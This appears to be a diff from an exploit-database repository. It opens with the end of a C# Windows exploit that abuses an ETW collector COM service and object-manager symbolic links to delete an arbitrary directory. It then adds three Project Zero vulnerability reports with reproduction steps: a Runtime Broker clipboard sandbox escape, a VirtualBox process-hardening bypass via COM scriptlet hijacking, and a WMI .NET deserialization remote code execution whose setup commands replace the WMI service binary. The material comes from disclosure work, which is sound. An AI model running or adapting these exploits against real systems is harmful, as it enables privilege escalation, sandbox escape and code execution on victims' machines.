[DllImport("kernel32.dll")]
|
||||
private static extern IntPtr LocalFree(IntPtr p);
|
||||
|
||||
private static string StatusToString(int status)
|
||||
{
|
||||
IntPtr buffer = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
|
||||
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
|
||||
{
|
||||
return Marshal.PtrToStringUni(buffer);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (buffer != IntPtr.Zero)
|
||||
{
|
||||
LocalFree(buffer);
|
||||
}
|
||||
}
|
||||
return String.Format("Unknown Error: 0x{0:X08}", status);
|
||||
}
|
||||
|
||||
public NtException(int status) : base(StatusToString(status))
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);
|
||||
|
||||
static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path)
|
||||
{
|
||||
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null))
|
||||
{
|
||||
IntPtr handle;
|
||||
StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));
|
||||
return new SafeKernelObjectHandle(handle, true);
|
||||
}
|
||||
}
|
||||
|
||||
static SafeKernelObjectHandle OpenDirectory(string path)
|
||||
{
|
||||
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
|
||||
{
|
||||
IntPtr handle;
|
||||
StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));
|
||||
return new SafeKernelObjectHandle(handle, true);
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
static extern int NtCreateSymbolicLinkObject(
|
||||
out IntPtr LinkHandle,
|
||||
GenericAccessRights DesiredAccess,
|
||||
ObjectAttributes ObjectAttributes,
|
||||
UnicodeString DestinationName
|
||||
);
|
||||
|
||||
static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target)
|
||||
{
|
||||
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
|
||||
{
|
||||
IntPtr handle;
|
||||
StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target)));
|
||||
return new SafeKernelObjectHandle(handle, true);
|
||||
}
|
||||
}
|
||||
|
||||
static List<SafeKernelObjectHandle> CreateChainForPath(SafeKernelObjectHandle root, string path)
|
||||
{
|
||||
string[] parts = path.Split('\\');
|
||||
List<SafeKernelObjectHandle> ret = new List<SafeKernelObjectHandle>();
|
||||
ret.Add(root);
|
||||
foreach (string part in parts)
|
||||
{
|
||||
ret.Add(CreateDirectory(ret.Last(), part));
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
[DllImport("ole32.dll")]
|
||||
static extern int CoInitializeSecurity(
|
||||
IntPtr pSecDesc,
|
||||
int cAuthSvc,
|
||||
IntPtr asAuthSvc,
|
||||
IntPtr pReserved1,
|
||||
int dwAuthnLevel,
|
||||
int dwImpLevel,
|
||||
IntPtr pAuthList,
|
||||
int dwCapabilities,
|
||||
IntPtr pReserved3
|
||||
);
|
||||
|
||||
/* Memory Size: 56 */
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct CreateCollectionSessionRequestData
|
||||
{
|
||||
/* Offset: 0 */
|
||||
public IntPtr AgentName;
|
||||
/* Offset: 8 */
|
||||
public Guid AgentClsid;
|
||||
/* Offset: 24 */
|
||||
public IntPtr LogName;
|
||||
/* Offset: 32 */
|
||||
public Guid LogGuid;
|
||||
/* Offset: 48 */
|
||||
public short Member4;
|
||||
};
|
||||
|
||||
/* Memory Size: 16 */
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct CreateCollectionSessionReplyData
|
||||
{
|
||||
/* Offset: 0 */
|
||||
public long Member0;
|
||||
/* Offset: 8 */
|
||||
public long Member1;
|
||||
};
|
||||
|
||||
/* Memory Size: 16 */
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct Struct_0
|
||||
{
|
||||
/* Offset: 0 */
|
||||
public IntPtr Member0;
|
||||
/* Offset: 8 */
|
||||
public int Member1;
|
||||
};
|
||||
|
||||
[ComImport, Guid("72e78ac2-a1ff-4c6e-be0b-2ca619b2b59b"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
interface IIEEtwCollector
|
||||
{
|
||||
void CreateCollectionSession(
|
||||
/* Stack Offset: 8 */ [In] IIEEtwCollectorHost p0,
|
||||
/* Stack Offset: 16 */ [In] ref CreateCollectionSessionRequestData p1,
|
||||
/* Stack Offset: 24 */ [Out] out IIEEtwCollectorSession p2, /* Stack Offset: 32 */ out CreateCollectionSessionReplyData p3);
|
||||
}
|
||||
|
||||
[Guid("f74b1266-ff39-4b62-8b6b-29c09920852c"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport]
|
||||
interface IIEEtwCollectorHost
|
||||
{
|
||||
void Proc3(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Struct_0 p1);
|
||||
void Proc4(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] [MarshalAs(UnmanagedType.LPWStr)] string p1);
|
||||
}
|
||||
|
||||
[Guid("ab8ee4b6-26ec-42d4-a7fc-06b4fb10e67a"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport]
|
||||
interface IIEEtwCollectorSession
|
||||
{
|
||||
void Proc3(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] /* enum */ short p1);
|
||||
void Proc4();
|
||||
void Proc5(/* Stack Offset: 8 */ [Out] [MarshalAs(UnmanagedType.BStr)] out string p0);
|
||||
void Proc6(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Guid p1, /* Stack Offset: 24 */ [Out] /* iid_is param offset: 16 */ [MarshalAs(UnmanagedType.IUnknown)] out object p2);
|
||||
void Proc7();///* Stack Offset: 8 */ [In] struct Struct_2[]* p0, /* Stack Offset: 16 */ [In] int p1, /* Stack Offset: 24 */ [In, Out] struct Struct_3[]* p2);
|
||||
}
|
||||
|
||||
[ComVisible(true)]
|
||||
class Host : IIEEtwCollectorHost
|
||||
{
|
||||
public void Proc3([In] ref Guid p0, [In] ref Struct_0 p1)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public void Proc4([In] ref Guid p0, [In, MarshalAs(UnmanagedType.LPWStr)] string p1)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
|
||||
static void Main(string[] args)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (args.Length < 1)
|
||||
{
|
||||
Console.WriteLine("Usage: dir_to_delete");
|
||||
}
|
||||
|
||||
string dir_to_delete = Path.GetFullPath(args[0]);
|
||||
if (!Directory.Exists(dir_to_delete))
|
||||
{
|
||||
throw new Exception(String.Format("Directory {0} doesn't exist", dir_to_delete));
|
||||
}
|
||||
|
||||
int hr = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero,
|
||||
0, 3, IntPtr.Zero, 0, IntPtr.Zero);
|
||||
if (hr != 0)
|
||||
{
|
||||
Marshal.ThrowExceptionForHR(hr);
|
||||
}
|
||||
|
||||
Type t = Type.GetTypeFromCLSID(new Guid("6CF9B800-50DB-46B5-9218-EACF07F5E414"));
|
||||
IIEEtwCollector collector = (IIEEtwCollector)Activator.CreateInstance(t);
|
||||
|
||||
var dirs = CreateChainForPath(OpenDirectory(@"\??"), @"GLOBALROOT\RPC Control");
|
||||
SafeKernelObjectHandle symlink = CreateSymbolicLink(dirs.Last(), @"xyz", @"\??\" + Path.GetTempPath());
|
||||
|
||||
try
|
||||
{
|
||||
Directory.Delete(Path.GetTempPath() + Guid.Empty.ToString());
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
}
|
||||
|
||||
CreateCollectionSessionRequestData request = new CreateCollectionSessionRequestData();
|
||||
request.LogName = Marshal.StringToBSTR(@"\\?\GLOBALROOT\RPC Control\xyz");
|
||||
|
||||
var dirs2 = CreateChainForPath(OpenDirectory(@"\RPC Control"), "xyz");
|
||||
var symlink2 = CreateSymbolicLink(dirs2.Last(), Guid.Empty.ToString(), @"\??\" + dir_to_delete);
|
||||
|
||||
request.LogGuid = Guid.Empty;
|
||||
request.AgentName = Marshal.StringToBSTR("abc.dll");
|
||||
request.AgentClsid = Guid.Empty;
|
||||
IIEEtwCollectorSession session;
|
||||
CreateCollectionSessionReplyData reply;
|
||||
|
||||
try
|
||||
{
|
||||
Console.WriteLine("Attemping to delete {0}", dir_to_delete);
|
||||
collector.CreateCollectionSession(new Host(), ref request, out session, out reply);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
if (!Directory.Exists(dir_to_delete))
|
||||
{
|
||||
throw new Exception(String.Format("Deleting directory {0} failed", dir_to_delete));
|
||||
}
|
||||
|
||||
Console.WriteLine("[SUCCESS]: Deleted target directory");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("[ERROR]: {0}", ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
40
platforms/windows/local/41902.txt
Executable file
40
platforms/windows/local/41902.txt
Executable file
|
@ -0,0 +1,40 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1079
|
||||
|
||||
Windows: Runtime Broker ClipboardBroker EoP
|
||||
Platform: Windows 10 10586/14393 not tested 8.1 Update 2
|
||||
Class: Elevation of Privilege
|
||||
|
||||
Summary:
|
||||
The Runtime Broker’s Clipboard Broker allows any low IL/AppContainer (such as Edge or IE EPM) to get access to an OOP IStorage object through the ClipboardBroker leading to a sandbox escape.
|
||||
|
||||
Description:
|
||||
|
||||
Windows 8 and above have a COM service running as the normal user called the Runtime Broker which performs a few services for AppContainer and low IL processes. One of these services is brokering access to the Clipboard which would normally be restricted. I know at minimum this is used in Edge content processes.
|
||||
|
||||
The broker does prevent things like setting data to the current IDataObject but allows AC applications to set their own IDataObject. To do things like blocking SetData the application provided IDataObject object is wrapped by an OLE32 implementation. We can abuse this functionality by first setting our own IDataObject using SetClipboard then calling GetClipboard to get back the OOP IDataObject wrapper. As this is a wrapper it will never marshal the original IDataObject back to the caller so calling methods on the wrapper will execute code inside the Runtime Broker process running outside the sandbox.
|
||||
|
||||
If we call something GetData on the OOP wrapper requesting an IStorage object the wrapper will attempt to callback to the IDataObject from the the application to see if that data exists. It does this initially using the GetDataHere method. As this method takes an IN/OUT STGMEDIUM structure it needs to be initialized, it so happens that in this case it will initialize it with an empty READ/WRITE IStorage object. This is passed back to the calling application, however because the default implementation of IStorage does not use custom marshaling (at least for OOP) the IStorage object also never leaves the runtime broker process.
|
||||
|
||||
We can now do the traditional dance of querying for IPropertyBag, settings a serializable object (such as MSXML DOMDocument) then reading it back out again. Again this XML DOMDocument object is trapped in the Runtime Broker process, so by running some JScript in an XSLT transform we can get arbitrary code executing outside of the sandbox.
|
||||
|
||||
Presumably you wouldn’t even need to do this loopback trick if some other application has pasted an IStorage object to the clipboard, however by doing this we can exploit at any time. I’m sure there’s plenty of edge cases where access to an IStorage object is possible.
|
||||
|
||||
The security on Runtime broker allows any AppContainer and low IL application to Launch/Activate and Access, so this would be a general sandbox escape from a number of sandbox types.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a C# source code file. You need to compile it first. Note that depending on the version of Windows the IIDs for the various interfaces might change, the PoC is only setup for 10.14393 updated to January 2017. Also the PoC must be considered a foreground window otherwise getting/setting the clipboard will fail. In a real scenario this isn’t an issue, I’ve verified that Edge content processes do use the broker if you copy and paste.
|
||||
|
||||
1) Compile the C# source code file.
|
||||
2) Execute the PoC executable as a low privileged user such as AppContainer or low IL.
|
||||
3) Notepad should appear running at medium as a child of RuntimeBroker.exe.
|
||||
|
||||
Expected Result:
|
||||
Access blocked to storage objects in the clipboard.
|
||||
|
||||
Observed Result:
|
||||
The storage object is accessed and abused to escape the sandbox.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41902.zip
|
44
platforms/windows/local/41908.txt
Executable file
44
platforms/windows/local/41908.txt
Executable file
|
@ -0,0 +1,44 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1103
|
||||
|
||||
VirtualBox: Windows Process COM Injection EoP
|
||||
Platform: VirtualBox v5.0.32 r112930 x64 (Tested on Windows 10)
|
||||
Class: Elevation of Privilege
|
||||
|
||||
Summary:
|
||||
The process hardening implemented by the VirtualBox driver can be circumvented to load arbitrary code inside a VirtualBox process giving access to the VBoxDrv driver which can allow routes to EoP from a normal user.
|
||||
|
||||
Description:
|
||||
|
||||
NOTE: I don’t know if you consider this an issue or not, considering the power of accessing the VBoxDrv driver and the efforts you’re going to to block access I’d assume it is.
|
||||
|
||||
VirtualBox uses a number of different techniques to prevent untrusted code accessing the core system drivers. This is because most of VB runs as a non-admin user but the driver provides a number of privileged features such as allocating kernel memory and loading drivers. This process hardening is implemented in both the kernel driver (which prevents things like getting fully privileged handles to a VB process) and in user mode by hooking the library loader to block untrusted DLLs.
|
||||
|
||||
Obviously if you could run untrusted code inside the main VirtualBox.exe process it would potentially lead to kernel code execution. Therefore it’d be interesting to bypass. Looking at VirtualBox.exe when it runs it loads a number of COM objects into memory. Due to the way COM works it’s possible to register a per-user version of an object (by it’s unique CLSID) and that’s taken in preference to the system wide version. As all VB processes run under the user’s identity we can replace a class registration (such as for the VirtualBox Client COM server) and the started copy of VirtualBox.exe will try and load our code instead.
|
||||
|
||||
The trick is bypassing the signature checking process, we can’t just insert our own DLLs, so we must repurpose something which is already trusted, like most of the Microsoft signed binaries in Windows. The simplest attack vector is to use the Scriptlet Component COM server implemented in scrobj.dll. This allows us to register a COM object which instead of being implemented as a DLL is implemented in a scripting language such as JScript or VBScript. As scrobj.dll is verified as a signed MS binary it will load, however we get code execution inside the process through a JScript file which isn’t verified on a default Windows system.
|
||||
|
||||
Of course JScript isn’t enough to call methods on the VBoxDrv driver so we need a way of breaking out of the restrictive script environment. You could perhaps find a buggy COM object and use that to ROP your way out, but there’s an easier way. The core parts of .NET (such as mscoree, mscorwks, mscorlib) are trusted binaries, so using some of the .NET COM registrations we can use .NET from JScript to bootstrap full .NET where we can do anything, such as calling arbitrary methods through P/Invoke. We can’t just register a .NET COM object though as .NET loads most DLLs via standard library loading which will be blocked by the signature checking, so instead we force .NET to load an assembly from a byte array which the process hardening code never sees.
|
||||
|
||||
From a fixing perspective I’m sure there’s always going to be edge cases but you’d probably want to blacklist certain DLLs such as scrobj/jscript/vbscript etc. and also anything .NET related.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a scriptlet file and a registry reg script. When combined together the scriptlet replaces the VirtualBox Client COM server (CLSID: {DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}) so when VirtualBox.exe tries to load it instead it gets a JScript implementation which bypasses the signature checking (as scrobj.dll/jscript.dll etc are MS signed system binaries). It then gets full execution by bootstrapping some arbitrary .NET code from memory (so there’s no DLL to verify) so that it can call exported library functions and access the VirtualBox driver.
|
||||
|
||||
Prerequisites:
|
||||
You’ll need .NET 3.5 installed for the PoC to work. This isn’t strictly necessary you could register the appropriate COM classes for .NET 4 but no point polluting the registry even more. You need a configured VM to start.
|
||||
|
||||
1) Ensure that .NET 3.5 is installed. Otherwise the PoC will prompt you to install.
|
||||
2) Copy poc.sct to the directory c:\poc so you have a file c:\poc\poc.sct on the local disk.
|
||||
3) Start a VM using VBoxManage startvm "VM Name" (don’t use the GUI as that’ll also load our COM object which won’t work very well).
|
||||
4) A message box should appear showing two memory addresses (which are the result of calling SUPR3PageAllocEx). The message box should be being displayed from the “unrestricted” VirtualBox.exe process.
|
||||
|
||||
Expected Result:
|
||||
Loading Scriptlet code into memory should fail
|
||||
|
||||
Observed Result:
|
||||
Scriptlet code is loaded and access to the device driver is allowed.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41908.zip
|
46
platforms/windows/remote/41903.txt
Executable file
46
platforms/windows/remote/41903.txt
Executable file
|
@ -0,0 +1,46 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1081
|
||||
|
||||
Windows: ManagementObject Arbitrary .NET Serialization RCE
|
||||
Platform: .NET 4.6, Powershell 4. Tested between Server 2016 and Windows 10 Anniversary Edition
|
||||
Class: Remote Code Execution
|
||||
|
||||
Summary:
|
||||
Accessing a compromised WMI server over DCOM using System.Management classes or the Powershell Get-WmiObject Cmdlet can lead to the server running arbitrary code on the calling machine leading to RCE.
|
||||
|
||||
Description:
|
||||
|
||||
The dangers of using .NET for DCOM are well know, the SRD blog made a post (https://blogs.technet.microsoft.com/srd/2014/10/14/more-details-about-cve-2014-4073-elevation-of-privilege-vulnerability/) which explicitly said it shouldn’t be used between trust boundaries. Presumably people took this to mean implementing servers, but it’s also a risk if a .NET DCOM client connects to an untrusted endpoint. This is due to the IManagedObject interface which will automatically force a client to deserialize an untrusted BinaryFormatter stream which is known bad.
|
||||
|
||||
One common use of DCOM in the .NET framework is for WMI access. The old classes in the System.Management namespace are still accessible (even though technically supersceded by Cim classes) and in powershell they act as the backend for Get-WmiObject and family. Through inspection it’s clear that a number of places the client querys for IManagedObject (for example on the IWbemServices object returned from IWbemLevel1Login::NTLMLogin method) and would be vulnerable. If this interface is being queried it means that a .NET client is trying to create an RCW and will try and create a local copy of a remote serializable object.
|
||||
|
||||
Therefore in corporate scenarios where some central system is using WMI over DCOM for management and analysis of running systems (and the management code is using the old .NET/PS classes to do the calls) a compromised machine which replaces the WMI service with its own malicious one could get arbitrary code execution on the monitoring machine. As this is typically going to be a higher privileged account (due to the requirements of DCOM access) it probably makes it more serious.
|
||||
|
||||
Looking at the network traffic the initial CreateInstance call on the remote activator is only using CONNECT level authentication. This means that it might also be possible to MITM (or Man-At-The-Side) a .NET WMI client and send it back a malicious COM objref to get it to communicate with the attacker's server.
|
||||
|
||||
Of course ideally no one would do this, or use the old style .NET and PS commands. But I’m sure there are networks out there which do so.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a C# project. You’ll need to also set up some machines to test this out. I’ve tested it in a simple environment of a Server 2016 server acting as a DC and a Windows 10 client. The serialized stream is tailored specifically for 4.6, I don’t know if it works anywhere else.
|
||||
|
||||
1) Compile the C# project and copy the binary to c:\service\FakeWmiServer.exe on the Client machine.
|
||||
2) Run the following commands in admin Powershell on the client machine to configure the WMI service and add the server executable to the firewall.
|
||||
|
||||
New-NetFirewallRule -DisplayName FAKEWMI -Enabled True -Profile Any -Direction Inbound -Program C:\service\FakeWMIService.exe -Protocol Tcp -LocalPort Any -RemotePort Any -LocalAddress Any -RemoteAddress Any
|
||||
New-NetFirewallRule -DisplayName FAKEWMI -Enabled True -Profile Any -Direction Outbound -Program C:\service\FakeWMIService.exe -Protocol Tcp -LocalPort Any -RemotePort Any -LocalAddress Any -RemoteAddress Any
|
||||
sc.exe config winmgmt binPath= c:\service\FakeWMIService.exe type= own
|
||||
Restart-Service winmgmt -Force
|
||||
|
||||
3) On the server start powershell.
|
||||
4) On the server execute the PS command “Get-WmiObject -Class Win32_Process -ComputerName hostname” replacing hostname with the address of the client.
|
||||
|
||||
Expected Result:
|
||||
WMI connection fails.
|
||||
|
||||
Observed Result:
|
||||
A copy of CMD and Notepad is executed on the server in the context of the calling user.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41903.zip
|
||||
|
Loading…
Add table
Reference in a new issue